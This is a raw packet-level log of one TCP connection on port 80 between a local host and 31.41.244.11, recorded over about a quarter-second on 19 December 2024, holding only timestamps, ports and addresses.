Dec 19, 2024 08:09:24.177730083 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.177777052 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.177822113 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.178884983 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.178939104 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.178985119 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.179032087 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.180135012 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.180191994 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.180217981 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.180265903 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.184148073 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.184160948 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.184215069 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.184298992 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.184310913 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.184355974 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.184793949 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.184806108 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.184853077 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.186031103 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.186043024 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.186089993 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.187172890 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.187303066 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.187361002 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.188265085 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.188332081 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.188424110 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.188486099 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.189448118 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.189507961 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.189605951 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.189656019 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.189846992 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.189898014 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.189938068 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.190004110 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.191111088 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.191179037 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.191217899 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.191251040 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.192295074 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.192349911 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.192398071 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.192444086 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.193517923 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.193582058 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.193634033 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.193749905 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.194720984 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.194843054 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.194848061 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.194890976 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.195950031 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.196094036 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.196110964 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.196150064 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.197207928 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.197292089 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.197330952 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.197330952 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.198378086 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.198447943 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.198534966 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.198596954 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.199587107 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.199655056 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.199696064 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.199886084 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.200814962 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.200884104 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.200927019 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.200973988 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.202039957 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.202099085 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.202157021 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.202203989 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.203236103 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.203299046 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.203352928 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.203402996 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.204477072 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.204560041 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.204559088 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.204791069 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.205703974 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.205832005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.205884933 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.206923962 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.206993103 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.207046986 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.208165884 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.208241940 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.208300114 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.209372044 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.209446907 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.209511995 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.210669041 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.210727930 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.210808992 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.210860014 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.211817026 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.211869001 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.211890936 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.212812901 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.213000059 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.213073015 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.213114977 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.213160038 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.214196920 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.214245081 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.214292049 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.214344025 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.215420008 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.215476990 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.215527058 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.215575933 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.216640949 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.216717005 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.216785908 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.217843056 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.217941046 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.217979908 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.217979908 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.219075918 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.219121933 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.219161987 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.219217062 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.220282078 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.220397949 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.220447063 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.221504927 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.221566916 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.221631050 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.221678019 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.222747087 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.222803116 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.222837925 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.223023891 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.223939896 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.223989964 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.224037886 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.224085093 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.225241899 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.225297928 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.225342989 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.225389004 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.226377010 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.226430893 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.226480961 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.226531982 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.227592945 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.227643967 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.227690935 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.227740049 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.228818893 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.228931904 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.228971958 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.229010105 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.230010033 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.230211973 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.358236074 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.358325958 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.358392954 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.358496904 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.358839035 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.358905077 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.358937979 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.358984947 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.360052109 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.360099077 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.360155106 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.360207081 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.361260891 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.361315966 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.361371040 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.361432076 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.362432957 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.362536907 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.362545013 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.362577915 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.363648891 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.363707066 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.363765001 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.364406109 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.364850998 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.364979982 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.365024090 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.365052938 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.366034985 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.366113901 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.366156101 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.366204023 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.367306948 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.367480040 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.367531061 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.368572950 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.368623972 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.368688107 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.368885994 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.369657993 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.369713068 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.369755983 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.369801044 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.370853901 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.370908976 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.370969057 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.371030092 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.372031927 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.372085094 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.372153044 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.372205973 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.373234987 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.373285055 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.373333931 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.373378992 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.374468088 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.374516010 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.374665976 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.374711990 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.375633001 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.375680923 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.375735044 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.376698017 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.376861095 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.376916885 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.376957893 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.377058029 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.378066063 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.378166914 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.378206968 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.378206968 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.379230976 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.379286051 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.379389048 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.379488945 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.380436897 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.380486012 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.380532980 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.380892038 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.381653070 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.381704092 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.381808996 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.382087946 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.382827997 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.382901907 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.382944107 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.382989883 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.384072065 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.384126902 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.384174109 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.384219885 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.385234118 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.385341883 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.385395050 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.386430979 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.386503935 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.386554956 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.387635946 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.387728930 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.387753963 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.388051987 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.388844967 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.388901949 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.388941050 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.388995886 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.390034914 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.390093088 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.390141964 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.390201092 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.391247988 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.391302109 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.391354084 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.391434908 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.392446995 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.392493963 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.392544031 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.392592907 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.393790960 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.393843889 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.393898010 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.393950939 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.394855976 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.394910097 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.394961119 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.394998074 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.396051884 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.396109104 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.396141052 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.396281004 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.397279024 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.397322893 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.397358894 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.397397995 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.398614883 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.398660898 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.398762941 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.398801088 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.399655104 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.399713039 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.399758101 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.399808884 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.400860071 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.400928020 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.400968075 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.401007891 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.402066946 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.402214050 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.402266979 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.403248072 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.403321981 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.403357983 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.403429031 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.404457092 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.404505968 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.404547930 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.404752016 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.405651093 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.405745029 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.405762911 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.405996084 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.406833887 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.406877995 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.406946898 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.406985998 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.408104897 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.408154011 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.408190966 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.408256054 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.409261942 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.409403086 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.409430027 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.409446955 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.410463095 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.410507917 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.410568953 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.410967112 CET	49839	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:24.411652088 CET	80	49839	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:24.411768913 CET	49839	80	192.168.2.6	31.41.244.11
